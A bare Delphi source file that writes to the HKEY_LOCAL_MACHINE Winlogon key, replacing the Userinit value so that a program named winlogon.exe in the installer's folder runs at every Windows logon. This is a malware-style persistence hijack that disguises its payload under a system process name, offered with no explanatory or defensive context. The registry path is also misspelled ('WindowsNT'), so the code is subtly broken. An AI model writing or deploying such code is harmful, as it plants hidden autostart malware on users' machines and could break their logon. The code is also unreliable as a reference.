1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:

program register_install;

uses
  Windows, Registry, SysUtils, Forms;

{$R *.RES}

procedure Install;
 var Regist:TRegistry;
begin
 Regist := TRegistry.Create;
  try
    Regist.RootKey := HKEY_LOCAL_MACHINE;
    Regist.OpenKey('SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\', true);
    Regist.WriteString('Userinit',ExtractFileDir(Application.Exename)+'\winlogon.exe "logon_center"');
  finally
    Regist.Free;
  end;
end;

begin
 Install;
end.